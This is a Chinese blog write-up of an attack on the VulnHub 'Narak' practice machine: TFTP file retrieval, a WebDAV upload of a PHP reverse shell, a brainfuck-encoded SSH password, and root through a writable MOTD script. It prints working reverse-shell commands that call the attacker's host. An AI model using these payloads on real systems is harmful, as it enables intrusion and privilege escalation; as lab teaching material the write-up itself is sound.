目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透
第三步:tftp渗透
第四步:webdav利用
第五步:寻找敏感文件初步提权
第六步:motd利用提权
总结与思考
写在开头
本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机对于寻找渗透测试的思路很有启发。当nmap常规扫描没有明显收获且web目录爆破也进行不下去时,应当去寻找UDP端口的开放情况。靶机难度不高,但涉及了像许多先前暂未触及的知识,包括tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权。完整打靶思路详见:
「红队笔记」靶机精讲:Narak:不懂tftp、dav和motd渗透,就真的会觉得很brainfuck。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
HA: Narak ~ VulnHub
下载链接见:
https://download.vulnhub.com/ha/narak.ova
本靶机的目标是拿到两个flag,即user.txt和root.txt。顺道一提,这个靶机还挺有趣的,vulnhub中有这样一段相关描述,我这里直接翻译了:
Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。
这描述还挺炫酷的,为什么说你最信任的工具也会在这次任务中背叛你?枚举的关键和目标又在何处?整个打靶下来回头看这个描述,确实还挺传神哈哈。
靶机下载成功后用vmware打开,将网络链接设置为NAT模式。靶机启动之后如下:
第一步:主机发现与端口扫描
虽然这一步是每个靶机的常规操作,但这个靶机的渗透过程却略显艰难,我们并没有从端口扫描的常规步骤得到想要的信息。我的kali的地址是10.10.10.128,扫描网段进行靶机的主机发现:
nmap -sn 10.10.10.0/24
发现靶机的地址是10.10.10.144,然后进行全端口扫描,-p-表示扫描所有端口,--min-rate 10000设定速率为10000:
nmap --min-rate 10000 -p- 10.10.10.144
常规靶机的情况,仅仅开放了22和80端口,那大概率就是从80端口入手。再用默认脚本扫描查看这两个TCP端口的详细信息(服务版本、操作系统版本):
nmap -sT -sV -sC -O -p22,80 10.10.10.144
能看到一些常规的信息。再尝试进行UDP扫描:
貌似UDP扫描啥也没看出来,再试试漏洞脚本扫描:
nmap --script=vuln -p22,80 10.10.10.144
看到了一些目录枚举的路径,还有CSRF的漏洞,还是有点收获的。
第二步:Web渗透
从80端口入手,我们先用浏览器访问靶机ip试试,看看有啥思路:
直接点开就是一大堆图片,查看网页源代码也没太多信息,感觉也没有什么CMS可言,界面的最下方是about,但也没啥信息,最下面有一个按钮,写着do not click,意思说别点,难道会有什么可怕的东西?我就要点!
点击末尾的这个Do Not Click后,发现跳转到了一个界面,是一幅漫画图片:
这漫画大家自己看吧,我就不解释了,咱也不是来看漫画的。发现url中有个images,估计是个目录,我们试着访问/images/:
就是个图片的目录,也没太多信息,不过说不定以后能在这个目录上传shell,现在也不好说。 走到这里貌似web也没太多信息可利用。因此我们再进行一下目录爆破,看看有啥收获,这次我们使用gobuster,dir指定目录爆破,-w指定字典:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144
可以发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。
server-status目录没有太多信息:
现在我们的核心思路应该就是寻找websav目录的凭据了。还有哪里我们没有寻找呢?此处想到了vulnhub页面的提示,“枚举”是关键。在使用gobuser进行爆破时,我们仅仅爆破了目录,没有对文件进行爆破,说不定一些关键文件就藏在其中,因此我们再次进行爆破,使用-x参数添加一些后缀名,包含可能的文件,比如rar/zip/txt/php/sql/html等等:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144
我感觉最大的收获就是发现了tips.txt(index.html就是初始页面),那么curl访问一下咯(也可以用浏览器):
curl http://10.10.10.144/tips.txt
提示我们通往narak的门的线索可以在creds.txt找到,那么问题来了,creds.txt在哪里?难道也是在web目录可以直接访问的吗?
哪有那么多低摘的果子,不可能这么简单。如果是我的话,走到这里就进行不下去了,接下来就跟着红队笔记大佬一起往下渗透吧。
第三步:tftp渗透
此时思路受阻,我们知道需要寻找creds.txt,却不知道在哪里寻找。
我记得vulnhub的页面对于这个靶机的描述中有这样一句话: 燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。截至目前,我们用到了哪些工具呢?用nmap进行了主机发现和端口扫描,用gobuster进行了目录爆破。那会不会是我们被工具“背叛”了呢?莫非实际的结果并不是工具显示的那样?先说gobuster,我们进行web目录爆破可以用很多工具,其实没有本质区别,关键还是字典的问题,因此应该不是爆破工具的问题。莫非是nmap端口扫描的结果有误或者遗漏了什么?比如有可能遗漏了某些开放的UDP端口。(这段话是我看了红队笔记视频,自己再回想的时候想到的)
我们当初端口扫描的时候显示没有任何开放的UDP端口,这里重新扫描一下,也是同样的结果。我们干脆尝试探测常见的UDP端口是否开放吧,先尝试top10常用的UDP端口:
nmap -sU --top-ports 10 10.10.10.144
确实,比如什么161,1434端口都是有可能开放的,但这些端口应该与我们要寻找creds.txt无关,再试试top20端口:
nice,我们发现了tftp端口69,这是一个简单文件传输协议,用来在客户端和服务端进行文件传输,这个协议设计的时候是进行小文件传输的。因此它不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,不能列出目录,有兴趣的读者可以网上查查资料。下图源于百度百科:
既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:
tftp 10.10.10.144
不愧是简单文件传输协议,不能ls,好在我们已经知道我们的目标是获取creds.txt,那我们就尝试get一下了:
get creds.txt
nice,下载下来了,我们输入quit退出tftp,然后查看这个creds.txt:
貌似是个base64编码,我们解码一下:
cat creds.txt | base64 -d
yamdoot:Swarg
成功拿到了凭据,这很可能是最初webdav目录的访问凭据!
第四步:webdav利用
回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面
这个页面也没啥东西呀?此时就涉及到对webdav的了解了,webdav是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。
此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg
可以看到上传的文件类型如下:
基本上都可以上传,再看一下执行权限:
发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell,先编写一个shell.php,注意要写kali的ip:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>
然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:
cadaver http://10.10.10.144/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php
回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:
此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell
nc -lvnp 1234
第五步:寻找敏感文件初步提权
此时我们拿到了www-data的shell,通常我会sudo -l查看有什么可以利用的二进制文件,先用python3增强交互性后运行sudo -l结果显示需要密码:
python3 -c "import pty;pty.spawn('/bin/bash')"
下一步就是可以查看计划任务、备份文件、suid的文件、可写文件等,总之寻找有没有一些ssh登录的凭据或是可以利用的提权文件:最终通过查找可写的文件发现了一些端倪:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password,如下:
看来就是webdav的登录凭据,应该不是我们要找的ssh凭据。那查看hell.sh:
可以看到一行奇怪的文字:
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
有CTF的经验就可以知道,这是一种名为brainfuck的编程语言!
可是咱也不太懂这个语言,可以用beef工具进行解释,首先将brainfuck的字符存为一个文件hell.bf,然后用beef解释器翻译一下:
beef hell.bf
解出了一串字符:
chitragupt
这很可能是ssh的一个密码,那么是哪个用户名呢?我们可以查看/etc/passwd,寻找哪些账户有shell环境:
可以发现重点就是narak,yamdoot,inferno三个用户,依次尝试一下就可以发现chitragupt是用户inferno的ssh密码:
ssh inferno@10.10.10.144
第六步:motd利用提权
此时我们拿到了inferno的权限,先查看当前目录有啥:
意料之中,拿到了第一个flag即user.txt。下面的目标就是提权到root了。sudo -l也是此路不通
因此接下来有两种大致思路,其一,和刚才类似,继续寻找高权限的凭据,也就是root的ssh凭据,其二:利用一些root高权限的工具/可执行文件/脚本等实现提权。同样,一番搜索之后,最终发现了一些能够利用的具有可写权限的文件:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:
MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档:
然后我们通过vi工具编辑,或通过echo追加的方式,在其中添加反弹shell代码:
echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header
然后在kali中nc监听4444端口
重新ssh登录inferno用户触发00-header脚本执行,从而触发反弹shell,又由于运行这个脚本时是具有root权限的(此处我有点疑惑),成功触发了反弹shell,且反弹的是root的shell,也就是提权成功了!
其中第二个flag是在root目录下的root.txt:
至此打靶完成!
总结与思考
打这个靶机感觉还挺有收获的,主要是有一些先前不了解的知识点。比如tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权等等。回看vulnhub对于靶机的描述:
Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。
还挺有感触的哈。我们被信任的工具nmap背叛了,nmap原以为没有UDP端口开放的,结果最后发现了tftp的69端口,这才有了寻找creds.txt的思路。 同时我们也通过不断的枚举找到了tips.txt,提示我们去寻找creds.txt。不过我并不认为“地狱是个不错的地方”,或许我们可以通过靶机这个地狱学习渗透的知识吧,哈哈。最后还是总结一下打靶的思路:
1.主机发现和端口扫描:常规思路,发现22和80端口,应该要从web入手。起初并未发现UDP端口。
2.Web渗透:目录爆破发现关键目录webdav,但访问需要凭据。文件爆破找到关键文件tips.txt,提示我们去寻找creds.txt
3.tftp渗透:回头再去寻找UDP端口,发现tftp端口可能开放,尝试利用这个协议读取creds.txt,下载成功,成功访问webdav。
4.webdav利用获取初始立足点:webdav貌似是个空目录,但它其实是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源。使用davtest测试webdav可以上传和执行哪些文件,发现可以上传并执行php,利用cadaver客户端上传反弹shell的php文件并访问shell.php,成功反弹了www-data的shell,获得了初始立足点。
5.寻找敏感文件初步提权,尝试查看sudo权限文件、计划任务、备份文件、suid的文件、可写文件等,最后在可写文件中发现了一个hell.sh,其中有一段brainfuck代码,用beef工具解码得到了一串字符,经尝试发现是用户名inferno的ssh密码。
6.motd利用提权:利用对00-header文件的可写权限,这是linux在登录时会运行的显示欢迎信息的脚本,在这个文件中添加反弹shell的代码,当该脚本执行时(再次登录ssh时)即可触发反弹shell。
不过我还有个小问题没解决:最后利用motd提权的时候添加反弹shell后再次登录为啥反弹的是root的shell啊,为什么不是反弹inferno的shell呢?毕竟登录的ssh用户是inferno。是motd的机制隐含了root的权限吗? 可以回头再查查资料研究一下。
到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的,有很多新的知识点。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!